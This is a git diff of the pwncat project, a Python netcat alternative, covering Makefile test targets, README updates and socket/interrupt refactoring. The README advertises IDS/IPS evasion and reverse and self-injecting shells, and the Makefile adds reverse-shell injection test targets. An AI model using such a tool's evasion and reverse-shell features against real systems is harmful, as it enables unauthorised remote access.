"$(TEST_PWNCAT_RUNS)" _test-behaviour-quit--client: __test-behaviour-quit--client-000 _test-behaviour-quit--client: __test-behaviour-quit--client-001 _test-behaviour-quit--client: __test-behaviour-quit--client-002 @@ -276,9 +313,6 @@ __test-behaviour-quit--client-201: "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" .PHONY: _test-behaviour-quit--server -#_test-behaviour-quit--server: -# tests/integration/run.sh "02-behaviour-quit--server" \ -# "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" _test-behaviour-quit--server: __test-behaviour-quit--server-000 _test-behaviour-quit--server: __test-behaviour-quit--server-001 _test-behaviour-quit--server: __test-behaviour-quit--server-002 @@ -324,6 +358,16 @@ __test-behaviour-quit--server-201: $(INTPATH)02-behaviour-quit--server/201---udp---server_reacc---when_client_is_killed---server_command---after_client_sent_command.sh \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" +.PHONY: _test-behaviour-base--file_transfer +_test-behaviour-base--file_transfer: __test-behaviour-base--file_transfer-send_normal +_test-behaviour-base--file_transfer: __test-behaviour-base--file_transfer-send_on_eof +__test-behaviour-base--file_transfer-send_normal: + $(INTPATH)03-behaviour-base--file_transfer/000---tcp---client_sends-normal.sh \ + "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" +__test-behaviour-base--file_transfer-send_on_eof: + $(INTPATH)03-behaviour-base--file_transfer/001---tcp---client_sends-on_eof.sh \ + "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" + .PHONY: _test-mode--local_forward _test-mode--local_forward: tests/integration/run.sh "10-mode---local_forward" \ @@ -345,10 +389,6 @@ _test-options--crlf: "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" .PHONY: _test-options--keep_open -#_test-options--keep_open: -# tests/integration/run.sh "22-options---keep_open" \ -# "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" -_test-options--keep_open: _test-options--keep_open: __test-options--keep_open-000 _test-options--keep_open: __test-options--keep_open-001 _test-options--keep_open: __test-options--keep_open-002 @@ -383,9 +423,6 @@ __test-options--keep_open-202: "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" .PHONY: _test-options--reconn -#_test-options--reconn: -# tests/integration/run.sh "23-options---reconn" \ -# "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" _test-options--reconn: __test-options--reconn-000 _test-options--reconn: __test-options--reconn-001 _test-options--reconn: __test-options--reconn-002 @@ -409,6 +446,29 @@ _test-options--ping_word: tests/integration/run.sh "26-options---ping_word" \ "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" +.PHONY: _test-cnc--inject_shell +_test-cnc--inject_shell: __test-cnc--inject_shell-pwncat +_test-cnc--inject_shell: __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix +_test-cnc--inject_shell: __test-cnc--inject_shell-revshelll-single_byte-banner-suffix +_test-cnc--inject_shell: __test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed +_test-cnc--inject_shell: __test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed +__test-cnc--inject_shell-pwncat: + $(INTPATH)30-cnc---self_inject/000---tcp---pwncat_as_rev_shell.sh \ + "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" +__test-cnc--inject_shell-revshelll-multi_byte-banner-suffix: + $(INTPATH)30-cnc---self_inject/001---tcp---revshell-multi_byte-banner-suffix.sh \ + "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" +__test-cnc--inject_shell-revshelll-single_byte-banner-suffix: + $(INTPATH)30-cnc---self_inject/002---tcp---revshell-single_byte-banner-suffix.sh \ + "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" +__test-cnc--inject_shell-revshelll-multi_byte-banner-suffix-delayed: + $(INTPATH)30-cnc---self_inject/003---tcp---revshell-multi_byte-banner-suffix-delayed.sh \ + "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" +__test-cnc--inject_shell-revshelll-single_byte-banner-suffix-delayed: + $(INTPATH)30-cnc---self_inject/004---tcp---revshell-single_byte-banner-suffix-delayed.sh \ + "$(TEST_PWNCAT_HOST)" "$(TEST_PWNCAT_PORT)" "$(TEST_PWNCAT_WAIT)" "$(TEST_PWNCAT_RUNS)" "$(TEST_PYTHON_VERSION)" + + # ------------------------------------------------------------------------------------------------- # Documentation @@ -416,6 +476,7 @@ _test-options--ping_word: docs: _docs-man docs: _docs-api docs: _docs-mypy_type_coverage +docs: _docs-version_readme .PHONY: _docs-man _docs-man: $(BINPATH)$(BINNAME) @@ -463,6 +524,11 @@ _docs-mypy_type_coverage: && coverage=$$(echo "100 - $${percent}" | bc) \ && sed -i "s/fully typed: \([.0-9]*\)/fully typed: $${coverage}/g" README.md' +_docs-version_readme: + VERSION="$$( grep -E '^VERSION = ' bin/pwncat | awk -F'"' '{print $$2}' )" \ + && echo "$${VERSION}" \ + && sed -i'' "s/^Current version is.*/Current version is: **$${VERSION}**/g" ${PWD}/README.md + # ------------------------------------------------------------------------------------------------- # Generate GitHub Action workflow pipelines diff --git a/README.md b/README.md index 4848792b..0f40bbc8 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,3 @@ -# pwncat - **[Install](#tada-install)** | **[TL;DR](#coffee-tldr)** | **[Features](#star-features)** | @@ -12,6 +10,12 @@ **[Disclaimer](#exclamation-disclaimer)** | **[License](#page_facing_up-license)** +--- + +
pwncat banner
+ +# pwncat + [![](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black) [![PyPI](https://img.shields.io/pypi/v/pwncat)](https://pypi.org/project/pwncat/) [![PyPI - Status](https://img.shields.io/pypi/status/pwncat)](https://pypi.org/project/pwncat/) @@ -28,15 +32,13 @@ > #### Netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic - and its fully scriptable with Python ([PSE](pse/)). >   -| :warning: Warning: it is currently in feature-incomplete alpha state. Expect bugs and options to change. ([Roadmap](https://github.com/cytopia/pwncat/issues/2)) | -|---| @@ -79,9 +81,9 @@ - + - + @@ -134,9 +136,9 @@
Code Style - Integration Tests + Integration Tests [2]
PythonOSLinux [2]Linux MacOSWindows [3]Windows
-> [1] mypy type coverage (fully typed: 93.56%)
-> [2] Linux builds are currently only failing, due to loss of IPv6 support: Issue
-> [3] Windows builds are currently only failing, because they are simply stuck on GitHub actions: Issue +> [1] mypy type coverage (fully typed: 93.84%)
+> [2] Failing builds do not indicate broken functionality. Integration tests run for multiple hours and break sporadically for various different reasons (network timeouts, unknown cancellations of GitHub Actions, etc): #735, #841
+> #### Motivation @@ -153,11 +155,12 @@ tool that works on older and newer machines (hence Python 2+3 compat). Most impo ## :tada: Install +Current version is: **0.1.0** -| [Pip](https://pypi.org/project/pwncat/) | [ArchLinux](https://aur.archlinux.org/packages/pwncat/) | -|:-:|:-:| -| [![](https://raw.githubusercontent.com/cytopia/icons/master/64x64/python.png)](https://pypi.org/project/pwncat/) | [![](https://raw.githubusercontent.com/cytopia/icons/master/64x64/archlinux.png)](https://aur.archlinux.org/packages/pwncat/) | -| `pip install pwncat` | `yaourt -S pwncat` | +| [Pip](https://pypi.org/project/pwncat/) | [ArchLinux](https://aur.archlinux.org/packages/pwncat/) | [BlackArch](https://www.blackarch.org/tools.html) | +|:-:|:-:|:-:| +| [![](https://raw.githubusercontent.com/cytopia/icons/master/64x64/python.png)](https://pypi.org/project/pwncat/) | [![](https://raw.githubusercontent.com/cytopia/icons/master/64x64/archlinux.png)](https://aur.archlinux.org/packages/pwncat/) | [![](https://raw.githubusercontent.com/cytopia/icons/master/64x64/blackarch.png)](https://www.blackarch.org/tools.html) | +| `pip install pwncat` | `yaourt -S pwncat` | `pacman -S pwncat` | ## :coffee: TL;DR @@ -305,7 +308,7 @@ pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u | UDP | ✔ | ✔ | ✔ | ✔ | | SCTP | :x: | :x: | ✔ | ✔ | | SSL | :x: | :x: | ✔ | ✔ | -| HTTP | * | :x: | :x: | :x: | +| HTTP | ✔ | :x: | :x: | :x: | | HTTPS | * | :x: | :x: | :x: | | | | | | | | Telnet negotiation | :x: | ✔ | ✔ | :x: | @@ -338,31 +341,45 @@ pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u Like the original implementation of `netcat`, when using **TCP**, `pwncat` (in client and listen mode) will automatically quit, if the network connection has been terminated, properly or improperly. -In case the remote peer does not terminate the connection, or in **UDP** mode, `pwncat` will stay open. +In case the remote peer does not terminate the connection, or in **UDP** mode, `netcat` and `pwncat` will stay open. The behaviour differs a bit when STDIN is closed. + +1. `netcat`: If STDIN is closed, but connection stays open, `netcat` will stay open +2. `pwncat`: If STDIN is closed, but connection stays open, `pwncat` will close + +You can emulate the `netcat` behaviour with `--no-shutdown` command line argument. Have a look at the following commands to better understand this behaviour: ```bash -# [Valid HTTP request] Does not quit, web server keeps connection intact +# [Valid HTTP request] Quits, web server keeps connection intact, but STDIN is EOF printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 + +# [Valid HTTP request] Does not quit, web server keeps connection intact, but STDIN is EOF +printf "GET / HTTP/1.1\n\n" | pwncat www.google.com 80 --no-shutdown ``` ```bash -# [Invalid HTTP request] Quits, because the web server closes the connection +# [Invalid HTTP request] Quits, because the web server closes the connection and STDIN is EOF printf "GET / \n\n" | pwncat www.google.com 80 ``` ```bash +# [TCP] +# Both instances will quit after successful file transfer. +pwncat -l 4444 > output.txt +pwncat localhost 4444 < input.txt + # [TCP] # Neither of both, client and server will quit after successful transfer # and they will be stuck, waiting for more input or output. # When exiting one (e.g.: via Ctrl+c), the other one will quit as well. -pwncat -l 4444 > output.txt -pwncat localhost 4444 < input.txt +pwncat -l 4444 --no-shutdown > output.txt +pwncat localhost 4444 --no-shutdown < input.txt ``` +Be advised that it is not reliable to send files via UDP ```bash -# [UDP] +# [UDP] (--no-shutdown has no effect, as this is the default behaviour in UDP) # Neither of both, client and server will quit after successful transfer # and they will be stuck, waiting for more input or output. # When exiting one (e.g.: via Ctrl+c), the other one will still stay open in UDP mode. @@ -386,6 +403,26 @@ Documentation will evolve over time. ## :computer: Usage +### Keys + +| Behaviour | ![Alt][Linux] | ![Alt][MacOS] | ![Alt][Windows] | +|----------------|---------------|---------------|-----------------| +| Quit (SIGINT) | Ctrl+c | Ctrl+c | Ctrl+c | +| Quit (SIGQUIT) | Ctrl+\\ | ? | ? | +| Quit (SIGQUIT) | Ctrl+4 | ? | ? | +| Quit STDIN[1] | Ctrl+d | Ctrl+d | Ctrl+z and Ctrl+Enter | +| Send (NL) | Ctrl+j | ? | ? | +| Send (EOL) | Ctrl+m | ? | ? | +| Send (EOL) | Enter | Enter | Enter | + +> [1] Only works when not using `--no-shutdown` and `--keep`. Will then shutdown it's socket for sending, signaling the remote end and EOF on its socket. + +[Linux]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/linux.png "Linux" +[MacOS]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/osx.png "MacOS" +[Windows]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/windows.png "Windows" + +### Command line arguments + Type `pwncat -h` or click below to see all available options.
@@ -468,6 +505,15 @@ optional arguments: -n, --nodns Do not resolve DNS. + --send-on-eof Buffer data received on stdin until EOF and send + everything in one chunk. + + --no-shutdown Do not shutdown into half-duplex mode. + If this option is passed, pwncat won't invoke shutdown + on a socket after seeing EOF on stdin. This is provided + for backward-compatibility with OpenBSD netcat, which + exhibits this behavior. + -v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv or -vvvv for more verbosity. The server performance will decrease drastically if you use more than three times. @@ -1307,6 +1353,40 @@ You can even mix `pwncat` with `netcat`, `ncat` or similar tools. **A**: Thanks for asking! First of all, star this project to give me some feedback and see [CONTRIBUTING.md](CONTRIBUTING.md) for details. +## :sunrise: Artwork + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TypeArtistImageLicense
Logomaifzpwncat logo
Banner 1maifzpwncat banner
Banner 2maifzpwncat banner
+ + ## :lock: [cytopia](https://github.com/cytopia) sec tools Below is a list of sec tools and docs I am maintaining. diff --git a/art/banner-1.png b/art/banner-1.png new file mode 100644 index 00000000..9bba0d6c Binary files /dev/null and b/art/banner-1.png differ diff --git a/art/banner-2.png b/art/banner-2.png new file mode 100644 index 00000000..d1feeca6 Binary files /dev/null and b/art/banner-2.png differ diff --git a/art/logo.png b/art/logo.png new file mode 100644 index 00000000..d76d93b4 Binary files /dev/null and b/art/logo.png differ diff --git a/bin/pwncat b/bin/pwncat index dbe9d962..a3e81588 100755 --- a/bin/pwncat +++ b/bin/pwncat @@ -9,7 +9,7 @@ # 4. Transformer # 5. IO modules # 6. PSE Store -# 7. IO Runner +# 7. IO Runner / InterruptHandler # 8. Command & Control # 9. Command line arguments # 10. Main entrypoint @@ -49,7 +49,7 @@ # # 4. Signaling / Interrupts # ------------------------------------ -# The StopSignal instance is distributed across all Threads and and the Runner instance and +# The InterruptHandler instance is distributed across all Threads and and the Runner instance and # is a way to let other Threads know that a stop signal has been requested. # Producer/Consumer can implement their own interrupt function so they can be stopped from # inside (if they do non-blocking stuff) or from outside (if they do blocking stuff). @@ -58,17 +58,18 @@ from __future__ import print_function from abc import abstractmethod from abc import ABCMeta +from datetime import datetime from subprocess import PIPE from subprocess import Popen from subprocess import STDOUT import argparse -import atexit import base64 import logging import os import re import select +import signal import socket import sys import threading @@ -127,12 +128,12 @@ if os.environ.get("MYPY_CHECK", False): APPNAME = "pwncat" APPREPO = "https://github.com/cytopia/pwncat" -VERSION = "0.0.23-alpha" +VERSION = "0.1.0" # Default timeout for timeout-based sys.stdin and socket.recv -TIMEOUT_READ_STDIN = 0.1 -TIMEOUT_RECV_SOCKET = 0.1 -TIMEOUT_RECV_SOCKET_RETRY = 2 +TIMEOUT_READ_STDIN = 0.05 +TIMEOUT_RECV_SOCKET = 0.05 +TIMEOUT_RECV_SOCKET_RETRY = 1 # https://docs.python.org/3/library/subprocess.html#popen-constructor # * 0 means unbuffered (read and write are one system call and can return short) @@ -214,7 +215,7 @@ class DsCallableProducer(object): # -------------------------------------------------------------------------- @property def function(self): - # type: () -> Callable[..., Iterator[str]] + # type: () -> Callable[..., Iterator[bytes]] """`IO.producer`: Callable funtcion function.""" return self.__function @@ -234,7 +235,7 @@ class DsCallableProducer(object): # Contrcutor # -------------------------------------------------------------------------- def __init__(self, function, *args, **kwargs): - # type: (Callable[..., Iterator[str]], Any, Any) -> None + # type: (Callable[..., Iterator[bytes]], Any, Any) -> None self.__function = function self.__args = args self.__kwargs = kwargs @@ -257,7 +258,7 @@ class DsRunnerAction(object): @property def consumer(self): - # type: () -> Callable[[str], None] + # type: () -> Callable[[bytes], None] """`IO.consumer`: Data consumer function.""" return self.__consumer @@ -273,6 +274,12 @@ class DsRunnerAction(object): """`[Transform.transformer]`: List of transformer functions applied before consumer.""" return self.__transformers + @property + def daemon_thread(self): + # type: () -> bool + """`bool`: Determines if the action will be started in a daemon thread.""" + return self.__daemon_thread + @property def code(self): # type: () -> Optional[Union[str, bytes, CodeType]] @@ -285,9 +292,10 @@ class DsRunnerAction(object): def __init__( self, producer, # type: DsCallableProducer - consumer, # type: Callable[[str], None] + consumer, # type: Callable[[bytes], None] interrupts, # type: List[Callable[[], None]] transformers, # type: List[Transform] + daemon_thread, # type: bool code, # type: Optional[Union[str, bytes, CodeType]] ): # type: (...) -> None @@ -295,6 +303,7 @@ class DsRunnerAction(object): self.__consumer = consumer self.__interrupts = interrupts self.__transformers = transformers + self.__daemon_thread = daemon_thread self.__code = code @@ -332,10 +341,10 @@ class DsRunnerTimer(object): return self.__kwargs @property - def signal(self): - # type: () -> StopSignal - """`StopSignal`: StopSignal instance.""" - return self.__signal + def ssig(self): + # type: () -> InterruptHandler + """`InterruptHandler`: InterruptHandler instance.""" + return self.__ssig # -------------------------------------------------------------------------- # Constructor @@ -343,16 +352,16 @@ class DsRunnerTimer(object): def __init__( self, action, # type: Callable[..., None] - signal, # type: StopSignal + ssig, # type: InterruptHandler intvl, # type: int - *args, # type: Tuple[Any, ...] - **kwargs # type: Dict[str, Any] + args, # type: Tuple[Any, ...] + kwargs, # type: Dict[str, Any] ): # type: (...) -> None assert type(intvl) is int, type(intvl) assert type(kwargs) is dict, type(kwargs) self.__action = action - self.__signal = signal + self.__ssig = ssig self.__intvl = intvl self.__args = args self.__kwargs = kwargs @@ -398,10 +407,10 @@ class DsRunnerRepeater(object): return self.__kwargs @property - def signal(self): - # type: () -> StopSignal - """`StopSignal`: StopSignal instance.""" - return self.__signal + def ssig(self): + # type: () -> InterruptHandler + """`InterruptHandler`: InterruptHandler instance.""" + return self.__ssig # -------------------------------------------------------------------------- # Constructor @@ -409,18 +418,18 @@ class DsRunnerRepeater(object): def __init__( self, action, # type: Callable[..., None] - signal, # type: StopSignal + ssig, # type: InterruptHandler repeat, # type: int pause, # type: float - *args, # type: Tuple[Any, ...] - **kwargs # type: Dict[str, Any] + args, # type: Tuple[Any, ...] + kwargs, # type: Dict[str, Any] ): # type: (...) -> None assert type(repeat) is int, type(repeat) assert type(pause) is float, type(pause) assert type(kwargs) is dict, type(kwargs) self.__action = action - self.__signal = signal + self.__ssig = ssig self.__repeat = repeat self.__pause = pause self.__args = args @@ -765,8 +774,8 @@ class DsTransformSafeword(object): # -------------------------------------------------------------------------- @property def ssig(self): - # type: () -> StopSignal - """`StopSignal`: StopSignal instance to trigger a shutdown signal.""" + # type: () -> InterruptHandler + """`InterruptHandler`: InterruptHandler instance to trigger a shutdown signal.""" return self.__ssig @property @@ -779,7 +788,7 @@ class DsTransformSafeword(object): # Constructor # -------------------------------------------------------------------------- def __init__(self, ssig, safeword): - # type: (StopSignal, str) -> None + # type: (InterruptHandler, str) -> None super(DsTransformSafeword, self).__init__() self.__ssig = ssig self.__safeword = safeword @@ -806,14 +815,21 @@ class DsIOStdinStdout(object): """`float`: Input timeout in seconds for non-blocking read or `None` for blocking.""" return self.__input_timeout + @property + def send_on_eof(self): + # type: () -> bool + """`float`: Determines if we buffer STDIN until EOF before sending.""" + return self.__send_on_eof + # -------------------------------------------------------------------------- # Constructor # -------------------------------------------------------------------------- - def __init__(self, encoder, input_timeout): - # type: (StringEncoder, Optional[float]) -> None + def __init__(self, encoder, input_timeout, send_on_eof): + # type: (StringEncoder, Optional[float], bool) -> None super(DsIOStdinStdout, self).__init__() self.__enc = encoder self.__input_timeout = input_timeout + self.__send_on_eof = send_on_eof # ------------------------------------------------------------------------------------------------- @@ -869,7 +885,7 @@ class DsIOCommand(object): # ################################################################################################# # ------------------------------------------------------------------------------------------------- -# [3/11 LIBRARY CLASSES]: (1/4) TraceLogger +# [3/11 LIBRARY CLASSES]: (1/3) TraceLogger # ------------------------------------------------------------------------------------------------- class TraceLogger(logging.getLoggerClass()): # type: ignore """Extend Python's default logger class with TRACE level logging.""" @@ -909,7 +925,7 @@ class TraceLogger(logging.getLoggerClass()): # type: ignore # ------------------------------------------------------------------------------------------------- -# [3/11 LIBRARY CLASSES]: (2/4) ColoredLogFormatter +# [3/11 LIBRARY CLASSES]: (2/3) ColoredLogFormatter # ------------------------------------------------------------------------------------------------- class ColoredLogFormatter(logging.Formatter): """Custom log formatter which adds different details and color support.""" @@ -982,7 +998,7 @@ class ColoredLogFormatter(logging.Formatter): # ------------------------------------------------------------------------------------------------- -# [3/11 LIBRARY CLASSES]: (3/4) StringEncoder +# [3/11 LIBRARY CLASSES]: (3/3) StringEncoder # ------------------------------------------------------------------------------------------------- class StringEncoder(object): """Takes care about Python 2/3 string encoding/decoding. @@ -991,72 +1007,73 @@ class StringEncoder(object): classes or functions as strings to keep full Python 2/3 compat. """ - # -------------------------------------------------------------------------- - # Constructor - # -------------------------------------------------------------------------- - def __init__(self): - # type: () -> None - """Create a StringEncoder instance which converts str/bytes according to Python version.""" - self.__py3 = sys.version_info >= (3, 0) # type: bool - - # https://stackoverflow.com/questions/606191/27527728#27527728 - self.__codec = "cp437" - self.__fallback = "latin-1" + CODECS = [ + "utf-8", + "cp437", + "latin-1", + ] # -------------------------------------------------------------------------- - # Public Functions - # -------------------------------------------------------------------------- - def encode(self, data): + # Class methods + # -------------------------------------------------------------------------- + @classmethod + def rstrip(cls, data, search=None): + # type: (Union[bytes, str], Optional[str]) -> Union[bytes, str] + """Implementation of rstring which works on bytes or strings.""" + # We have a bytes object in Python3 + if sys.version_info >= (3, 0) and type(data) is not str: + # Strip whitespace + if search is None: + while True: + new = data + new = cls.rstrip(new, " ") + new = cls.rstrip(new, "\n") + new = cls.rstrip(new, "\r") + new = cls.rstrip(new, "\t") + # Loop until no more changes occur + if new == data: + return new + else: + bsearch = StringEncoder.encode(search) + while data[-1:] == bsearch: + data = data[:-1] + return data + + # Use native function + if search is None: + return data.rstrip() + return data.rstrip(search) # type: ignore + + @classmethod + def encode(cls, data): # type: (str) -> bytes """Convert string into a byte type for Python3.""" - if self.__py3: - try: - return data.encode(self.__codec) - except UnicodeEncodeError: - # TODO: Add logging - return data.encode(self.__fallback) + if sys.version_info >= (3, 0): + for codec in cls.CODECS: + # On the last codec, do not catch the exception and let it trigger if it fails + if codec == cls.CODECS[-1]: + return data.encode(codec) + try: + return data.encode(codec) + except UnicodeEncodeError: + pass return data # type: ignore - def decode(self, data): + @classmethod + def decode(cls, data): # type: (bytes) -> str """Convert bytes into a string type for Python3.""" - if self.__py3: - return data.decode(self.__codec) + if sys.version_info >= (3, 0): + for codec in cls.CODECS: + # On the last codec, do not catch the exception and let it trigger if it fails + if codec == cls.CODECS[-1]: + return data.decode(codec) + try: + return data.decode(codec) + except UnicodeDecodeError: + pass return data # type: ignore - def base64_encode(self, data): - # type: (str) -> str - """Convert string into a base64 encoded string.""" - return self.decode(base64.b64encode(self.encode(data))) - - -# ------------------------------------------------------------------------------------------------- -# [3/11 LIBRARY CLASSES]: (4/4): StopSignal -# ------------------------------------------------------------------------------------------------- -class StopSignal(object): - """Provide a simple boolean switch.""" - - # -------------------------------------------------------------------------- - # Constructor - # -------------------------------------------------------------------------- - def __init__(self): - # type: () -> None - """Create a StopSignal instance.""" - self.__stop = False - - # -------------------------------------------------------------------------- - # Public Functions - # -------------------------------------------------------------------------- - def has_stop(self): - # type: () -> bool - """Check if a stop signal has been raised.""" - return self.__stop - - def raise_stop(self): - # type: () -> None - """Raise a stop signal.""" - self.__stop = True - # ################################################################################################# # ################################################################################################# @@ -1070,7 +1087,7 @@ class StopSignal(object): # [4/11 NETWORK]: (1/1) Sock # ------------------------------------------------------------------------------------------------- class Sock(_Singleton("SingletonMeta", (object,), {})): # type: ignore - """Thread-safe singleton Socket helper to emulate a module within the same file.""" + """Thread-safe singleton Socket wrapper to emulate a module within the same file.""" def __init__(self): # type: () -> None @@ -1421,13 +1438,14 @@ class Sock(_Singleton("SingletonMeta", (object,), {})): # type: ignore # -------------------------------------------------------------------------- # Create functions # -------------------------------------------------------------------------- - def create_socket(self, family, sock_type, ip_tos_name=None): - # type: (Union[socket.AddressFamily, int], int, Optional[str]) -> socket.socket + def create_socket(self, family, sock_type, reuse_addr, ip_tos_name=None): + # type: (Union[socket.AddressFamily, int], int, bool, Optional[str]) -> socket.socket """Create TCP or UDP socket. Args: family (socket.family): The address family for which to create the socket for. sock_type (int): The socket type: socket.SOCK_DGRAM or socket.SOCK_STREAM + reuse_addr (bool): Set SO_REUSEADDR on the socket. ip_tos_name (str): Optional IP type of service value to apply to socket Returns: @@ -1471,7 +1489,8 @@ class Sock(_Singleton("SingletonMeta", (object,), {})): # type: ignore # Get around the "[Errno 98] Address already in use" error, if the socket is still in wait # we instruct it to reuse the address anyway. - sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + if reuse_addr: + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # If requested, set IP Type of Service value for current socket if ip_tos_name is not None: @@ -1530,27 +1549,38 @@ class Sock(_Singleton("SingletonMeta", (object,), {})): # type: ignore self.__log.error(msg) raise socket.error(msg) - def accept(self, sockets, fstop): - # type: (List[socket.socket], Callable[[], bool]) -> Tuple[socket.socket, Tuple[str, int]] + def accept( + self, + sockets, # type: List[socket.socket] + has_quit, # type: Callable[[], bool] + select_timeout=0.01, # type: float + ): + # type: (...) -> Tuple[socket.socket, Tuple[str, int]] """Accept a single connection from given list of sockets. Given sockets must be bound to an addr and listening for connections. Args: sock ([socket.socket]): List of sockets IPv4 and/or IPv6 to accept on. - fstop (Callable[[], bool]): A function that returns True if abort is requested. + has_quit (Callable[[], bool]): A function that returns True if abort is requested. + select_timeout (float): Timeout to poll sockets for connected clients. Returns: - socket.socket: Returns the connection socket (whatever protocol was faster). + (socket.socket, str, int): Returns tuple of socket, address and port of client. Raises: socket.error: Raised if server cannot accept connection or stop signal is requested. """ self.__log.debug("Waiting for TCP client") while True: - ssockets = select.select(sockets, [], [], 0.01)[0] # type: List[socket.socket] - if fstop(): - raise socket.error("StopSignal acknknowledged") + try: + ssockets = select.select(sockets, [], [], select_timeout)[ + 0 + ] # type: List[socket.socket] + except select.error as err: + raise socket.error(err) + if has_quit(): + raise socket.error("SOCK-QUIT signal ACK for accept(): raised socket.error()") for sock in ssockets: try: conn, addr = sock.accept() @@ -1588,13 +1618,18 @@ class Sock(_Singleton("SingletonMeta", (object,), {})): # type: ignore port (int): Port of server to connect to. Returns: - Tuple[str,int]: Adress/port tuple of local bin of the client. + Tuple[str,int]: Adress/port tuple of local bind of the client. Raises: socker.error: If client cannot connect to remote peer or custom bind did not succeed. """ - sock_family_name = self.get_family_name(sock.family) - sock_type_name = self.get_type_name(sock.type) + try: + # If the socket was already closed elsewhere, it won't have family or type anymore + sock_family_name = self.get_family_name(sock.family) + sock_type_name = self.get_type_name(sock.type) + except AttributeError as error: + raise socket.error(error) + # Bind to a custom addr/port if src_addr is not None and src_port is not None: try: @@ -1663,29 +1698,72 @@ class Sock(_Singleton("SingletonMeta", (object,), {})): # type: ignore # -------------------------------------------------------------------------- # Destroy functions # -------------------------------------------------------------------------- - def close(self, sock, name): + def shutdown_recv(self, sock, name): + # type: (socket.socket, str) -> None + """Shuts down a socket for receiving data (only allow to send data). + + Args: + name (str): Name of the socket used for logging purposes. + sock (str): Socket to shutdown for receive. + """ + try: + # (SHUT_RD) 0 = Done receiving (disallows receiving) + # (SHUT_WR) 1 = Done sending (disallows sending) + # (SHUT_RDWR) 2 = Both + self.__log.trace("Shutting down %s socket for receiving", name) # type: ignore + sock.shutdown(socket.SHUT_RD) + except (OSError, socket.error): + # We do not log errors here, as unconnected sockets cannot + # be shutdown and we want to throw any socket at this function. + pass + + def shutdown_send(self, sock, name): + # type: (socket.socket, str) -> None + """Shuts down a socket for sending data (only allow to receive data). + + Args: + name (str): Name of the socket used for logging purposes. + sock (str): Socket to shutdown for send. + """ + try: + # (SHUT_RD) 0 = Done receiving (disallows receiving) + # (SHUT_WR) 1 = Done sending (disallows sending) + # (SHUT_RDWR) 2 = Both + self.__log.trace("Shutting down %s socket for sending", name) # type: ignore + sock.shutdown(socket.SHUT_WR) + except (OSError, socket.error): + # We do not log errors here, as unconnected sockets cannot + # be shutdown and we want to throw any socket at this function. + pass + + def close(self, sock, name): # pylint: disable=unused-argument,no-self-use # type: (socket.socket, str) -> None """Shuts down and closes a socket. Args: + sock (socket.socket): Socket to shutdown and close. name (str): Name of the socket used for logging purposes. - sock (str): Socket to shutdown and close. """ + # NOTE: Logging is removed here as this is too much overhead when using + # the port scanner (it will have thousands of threads and too many + # calls to the logger which will cause issues with its shutdown + # and a massive performance degrade as well. try: # (SHUT_RD) 0 = Done receiving (disallows receiving) # (SHUT_WR) 1 = Done sending (disallows sending) # (SHUT_RDWR) 2 = Both - self.__log.trace("Shutting down %s socket", name) # type: ignore + # self.__log.trace("Shutting down %s socket", name) # type: ignore sock.shutdown(socket.SHUT_RDWR) - except (OSError, socket.error) as error: + except (OSError, socket.error): # We do not log errors here, as unconnected sockets cannot # be shutdown and we want to throw any socket at this function. pass try: - self.__log.trace("Closing %s socket", name) # type: ignore + 